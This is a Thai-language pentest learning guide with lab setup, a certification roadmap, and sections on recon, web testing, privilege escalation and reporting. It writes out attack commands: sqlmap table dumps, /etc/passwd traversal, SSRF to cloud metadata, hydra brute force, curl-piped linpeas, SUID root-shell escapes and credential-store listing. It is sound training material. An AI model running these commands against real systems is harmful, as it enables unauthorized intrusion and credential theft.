Penetration Testing คืออะไร
Penetration Testing หรือที่เรียกสั้นๆว่า Pentest คือกระบวนการทดสอบเจาะระบบอย่างเป็นระบบเพื่อค้นหาช่องโหว่ด้านความปลอดภัยก่อนที่ผู้ไม่หวังดีจะค้นพบ ผู้ทดสอบจะจำลองการโจมตีจากมุมมองของ Attacker โดยใช้เครื่องมือและเทคนิคเดียวกันกับ Hacker จริงๆ แต่ทำภายใต้ขอบเขตและกฎที่ตกลงกันไว้ล่วงหน้า (Rules of Engagement)
Penetration Testing แบ่งออกเป็นหลายประเภทตามขอบเขตของการทดสอบ ได้แก่ Network Pentest ที่เน้นทดสอบโครงสร้างพื้นฐานเครือข่าย, Web Application Pentest ที่เน้นแอปพลิเคชันบนเว็บ, Mobile Application Pentest สำหรับแอปมือถือ, Wireless Pentest สำหรับเครือข่ายไร้สาย และ Social Engineering ที่ทดสอบความตระหนักของบุคลากร
เส้นทางการเรียน Penetration Testing — Roadmap ฉบับใช้งานจริง
การเรียน Pentest ควรเริ่มต้นอย่างเป็นขั้นตอน ไม่ควรกระโดดข้ามไปเรียนเครื่องมือขั้นสูงโดยไม่มีพื้นฐาน เพราะจะทำให้ไม่เข้าใจหลักการทำงานเบื้องหลัง
ขั้นที่ 1: พื้นฐาน Network และ Linux (1-2 เดือน)
- เข้าใจ TCP/IP Model, OSI Layer, DNS, DHCP, ARP, HTTP/HTTPS
- ใช้งาน Linux Command Line ได้คล่อง โดยเฉพาะ Kali Linux
- เข้าใจ File Permission, Process Management, Service Configuration
- ฝึกใช้ Wireshark วิเคราะห์ Packet
ขั้นที่ 2: Reconnaissance และ Scanning (1 เดือน)
- เรียนรู้ Passive Recon ด้วย OSINT Tools
- ฝึกใช้ Nmap สำหรับ Port Scanning และ Service Detection
- เรียนรู้ DNS Enumeration, Subdomain Discovery
ขั้นที่ 3: Exploitation (2-3 เดือน)
- ฝึกใช้ Metasploit Framework
- เรียนรู้ Web Vulnerabilities ตาม OWASP Top 10
- ฝึก Privilege Escalation บน Linux และ Windows
ขั้นที่ 4: สอบใบรับรอง (3-6 เดือน)
- eJPT สำหรับระดับเริ่มต้น
- OSCP (PEN-200) สำหรับระดับกลาง
- OSEP, CRTO สำหรับระดับสูง
การตั้งค่า Lab สำหรับฝึก Pentest
การมี Lab ส่วนตัวเป็นสิ่งจำเป็นสำหรับการฝึก Pentest อย่างต่อเนื่อง ต่อไปนี้เป็นวิธีสร้าง Lab บนเครื่องตัวเองด้วย VirtualBox
# ติดตั้ง VirtualBox บน Ubuntu
sudo apt update
sudo apt install -y virtualbox virtualbox-ext-pack
# ดาวน์โหลด Kali Linux OVA
wget https://cdimage.kali.org/kali-2025.1/kali-linux-2025.1-virtualbox-amd64.ova
# Import Kali Linux เข้า VirtualBox
VBoxManage import kali-linux-2025.1-virtualbox-amd64.ova
# สร้าง Internal Network สำหรับ Lab
VBoxManage natnetwork add --netname PentestLab --network "10.10.10.0/24" --enable --dhcp on
# ดาวน์โหลด Vulnerable Machine สำหรับฝึก
# Metasploitable 3
git clone https://github.com/rapid7/metasploitable3.git
cd metasploitable3
vagrant up
# DVWA (Damn Vulnerable Web Application)
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
# ตรวจสอบว่า Lab พร้อมใช้งาน
VBoxManage list runningvms
docker ps
Reconnaissance — การรวบรวมข้อมูลเป้าหมาย
Reconnaissance เป็นขั้นตอนแรกและสำคัญที่สุดของ Pentest ข้อมูลที่ได้จากขั้นตอนนี้จะกำหนดทิศทางการโจมตีทั้งหมด
# Passive Reconnaissance
# ค้นหา Subdomain ด้วย subfinder
subfinder -d target.com -o subdomains.txt
# ค้นหาข้อมูลจาก Certificate Transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
python3 -c "import sys, json; [print(x['name_value']) for x in json.load(sys.stdin)]" | \
sort -u > ct-subdomains.txt
# Active Reconnaissance
# Nmap Full Port Scan + Service Detection
sudo nmap -sS -sV -sC -O -p- -T4 --min-rate 1000 \
-oA nmap_full 10.10.10.50
# Nmap Vulnerability Scan
sudo nmap --script vuln -p 80,443,22,21,3306 10.10.10.50
# Web Enumeration ด้วย gobuster
gobuster dir -u http://10.10.10.50 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php, html, txt, bak -t 50 -o gobuster_results.txt
# ค้นหา Virtual Hosts
gobuster vhost -u http://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-t 50 --append-domain
Web Application Penetration Testing — ทดสอบเจาะเว็บแอปพลิเคชัน
Web Application เป็นเป้าหมายที่พบบ่อยที่สุดใน Pentest เพราะเป็นจุดที่เปิดให้เข้าถึงจากภายนอก ช่องโหว่ที่พบบ่อยตาม OWASP Top 10 ได้แก่ SQL Injection, Cross-Site Scripting (XSS), Broken Authentication, IDOR และ Server-Side Request Forgery (SSRF)
# SQL Injection Testing ด้วย sqlmap
# ทดสอบ Parameter ที่น่าสงสัย
sqlmap -u "http://10.10.10.50/page.php?id=1" \
--dbs --batch --random-agent
# ดึงข้อมูลจาก Database
sqlmap -u "http://10.10.10.50/page.php?id=1" \
-D webapp_db -T users --dump --batch
# XSS Testing ด้วย dalfox
dalfox url "http://10.10.10.50/search?q=test" \
--blind "https://your-callback.burpcollaborator.net"
# Directory Traversal Testing
curl -s "http://10.10.10.50/download?file=../../../etc/passwd"
# SSRF Testing
curl -s "http://10.10.10.50/fetch?url=http://169.254.169.254/latest/meta-data/"
# Burp Suite Intruder — Brute Force Login
# สร้าง Payload List
cat > usernames.txt << 'EOF'
admin
administrator
root
user
test
EOF
# ใช้ hydra สำหรับ HTTP Form Brute Force
hydra -L usernames.txt \
-P /usr/share/wordlists/rockyou.txt \
10.10.10.50 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:Invalid credentials" \
-t 16 -f
Privilege Escalation — การยกระดับสิทธิ์
หลังจากได้ Initial Access แล้ว ขั้นตอนต่อไปคือ Privilege Escalation เพื่อยกระดับสิทธิ์จาก User ธรรมดาเป็น Root หรือ SYSTEM
Linux Privilege Escalation
# ตรวจสอบ SUID Binaries
find / -perm -4000 -type f 2>/dev/null
# ตรวจสอบ sudo permissions
sudo -l
# ค้นหา Writable Files ของ Root
find / -writable -type f 2>/dev/null | grep -v proc
# ตรวจสอบ Cron Jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /var/spool/cron/crontabs/
# ตรวจสอบ Kernel Version สำหรับ Kernel Exploit
uname -a
cat /etc/os-release
# ใช้ linPEAS สำหรับ Automated Enumeration
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# GTFOBins — ใช้ SUID Binary ยกระดับสิทธิ์
# ตัวอย่าง: find มี SUID bit
find . -exec /bin/sh -p \; -quit
# ตัวอย่าง: python3 มี SUID bit
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Windows Privilege Escalation
# ตรวจสอบ User Privileges
whoami /priv
whoami /groups
# ค้นหา Unquoted Service Paths
wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# ตรวจสอบ AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ใช้ winPEAS สำหรับ Automated Enumeration
.\winPEASx64.exe
# ตรวจสอบ Stored Credentials
cmdkey /list
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
Reporting — การเขียนรายงานผลการทดสอบ
รายงานผลการทดสอบเป็นส่วนที่มีคุณค่าที่สุดของ Pentest เพราะเป็นสิ่งที่ลูกค้าจะได้รับและนำไปใช้แก้ไขช่องโหว่ รายงานที่ดีต้องประกอบด้วย
- Executive Summary: สรุปผลสำหรับผู้บริหาร เขียนด้วยภาษาธุรกิจ ไม่ใช้ศัพท์เทคนิคมาก ระบุความเสี่ยงระดับสูงที่ต้องแก้ไขทันที
- Methodology: อธิบายขั้นตอนและเครื่องมือที่ใช้ในการทดสอบ
- Findings: รายละเอียดของแต่ละช่องโหว่ที่พบ มี Severity Rating (Critical, High, Medium, Low), ขั้นตอนการโจมตี (Proof of Concept), ผลกระทบ (Impact) และวิธีแก้ไข (Remediation)
- Evidence: ภาพหน้าจอ, Log Output, Command ที่ใช้ เพื่อยืนยันว่าช่องโหว่มีอยู่จริง
- Remediation Prioritization: จัดลำดับความสำคัญของช่องโหว่ที่ต้องแก้ไขก่อน-หลัง
แพลตฟอร์มฝึก Pentest ที่แนะนำ
| แพลตฟอร์ม | ระดับ | ราคา | จุดเด่น |
|---|---|---|---|
| TryHackMe | เริ่มต้น-กลาง | ฟรี/Premium $14/เดือน | มี Learning Path ชัดเจน เหมาะสำหรับเริ่มต้น |
| HackTheBox | กลาง-สูง | ฟรี/VIP $14/เดือน | มี Active Machines ให้ฝึกเจาะ ใกล้เคียง OSCP |
| PortSwigger Web Security Academy | กลาง | ฟรี | เน้น Web App Security มี Lab ให้ฝึกทุก Vulnerability |
| VulnHub | กลาง | ฟรี | มี VM ให้ดาวน์โหลดมาฝึกบนเครื่องตัวเอง |
| PentesterLab | กลาง-สูง | $20/เดือน | มี Badge System และ Lab ที่ Cover หลาย Technology |
แนวทางป้องกันภัยไซเบอร์สำหรับองค์กรไทย
ภัยคุกคามทางไซเบอร์ในปี 2026 มีความซับซ้อนมากขึ้น Ransomware ยังคงเป็นภัยอันดับหนึ่ง โดยผู้โจมตีใช้ AI ช่วยสร้าง Phishing Email ที่แนบเนียนขึ้น องค์กรควรมี Multi-Layered Security ตั้งแต่ Perimeter Defense ด้วย Next-Gen Firewall Endpoint Protection ด้วย EDR Solution และ Network Detection and Response
การฝึกอบรมพนักงานเป็นสิ่งสำคัญที่สุด เพราะ Human Error เป็นสาเหตุหลักของการรั่วไหลข้อมูล ควรจัด Security Awareness Training อย่างน้อยไตรมาสละครั้ง ทำ Phishing Simulation ทดสอบพนักงาน และมี Incident Response Plan ที่ชัดเจน ฝึกซ้อมเป็นประจำ
สำหรับกฎหมาย PDPA ของไทย องค์กรต้องมี Data Protection Officer แจ้งวัตถุประสงค์การเก็บข้อมูลอย่างชัดเจน ขอ Consent ก่อนใช้ข้อมูลส่วนบุคคล มีมาตรการรักษาความปลอดภัยที่เหมาะสม และแจ้งเหตุ Data Breach ภายใน 72 ชั่วโมง
Penetration Testing Course ควรเริ่มเรียนจากอะไร
ควรเริ่มจากพื้นฐาน Network โดยเฉพาะ TCP/IP, DNS, HTTP แล้วเรียนรู้ Linux Command Line ให้คล่อง จากนั้นฝึกบน Lab อย่าง TryHackMe เพื่อสร้างพื้นฐานก่อนเข้าคอร์สเต็มรูปแบบอย่าง OffSec PEN-200 การมีพื้นฐานที่แข็งแรงจะทำให้เรียนรู้เครื่องมือขั้นสูงได้เร็วขึ้นมาก
สอบ OSCP ยากแค่ไหนและต้องเตรียมตัวนานเท่าไร
OSCP เป็นข้อสอบ Hands-on ระยะเวลา 24 ชั่วโมงที่ต้องเจาะเครื่อง Active Directory Set และ Standalone Machines ควรเตรียมตัวอย่างน้อย 3-6 เดือนโดยฝึกบน HackTheBox และ Proving Grounds ทุกวัน ผู้ที่สอบผ่านส่วนใหญ่ฝึกเจาะเครื่องมากกว่า 50 เครื่องก่อนสอบ
เรียน Penetration Testing จบแล้วทำงานอะไรได้บ้าง
สามารถทำงานเป็น Penetration Tester, Security Consultant, Red Team Operator, Bug Bounty Hunter หรือ Security Auditor เงินเดือนในไทยเริ่มต้น 40,000-80,000 บาท ระดับ Senior อาจถึง 150,000 บาทขึ้นไป และยังมีโอกาสรับงาน Remote จากบริษัทต่างชาติที่จ่ายเป็น USD
ต้องเก่ง Programming แค่ไหนถึงจะเรียน Pentest ได้
ไม่จำเป็นต้องเก่ง Programming แต่ควรอ่าน Python และ Bash Script ได้ สามารถเขียน Script อัตโนมัติง่ายๆ เช่น Script สำหรับ Enumerate หรือ Parse Output ได้ และอ่าน Exploit Code ของคนอื่นเข้าใจว่ามันทำงานอย่างไรก่อนนำไปใช้
สรุปและแนวทางปฏิบัติ
Penetration Testing เป็นทักษะที่ต้องฝึกฝนอย่างต่อเนื่อง ไม่ใช่สิ่งที่เรียนจากหนังสือเพียงอย่างเดียวแล้วจะเข้าใจได้ การฝึกบน Lab จริงทุกวันคือกุญแจสำคัญ ควรเริ่มจากพื้นฐาน Network และ Linux ให้แข็งแรงก่อน จากนั้นค่อยๆเรียนรู้เครื่องมือและเทคนิคต่างๆ ฝึกเจาะเครื่องบน TryHackMe และ HackTheBox จนมั่นใจแล้วจึงลงทะเบียนสอบ OSCP เพื่อรับใบรับรองที่เป็นที่ยอมรับในวงการ Cybersecurity ทั่วโลก
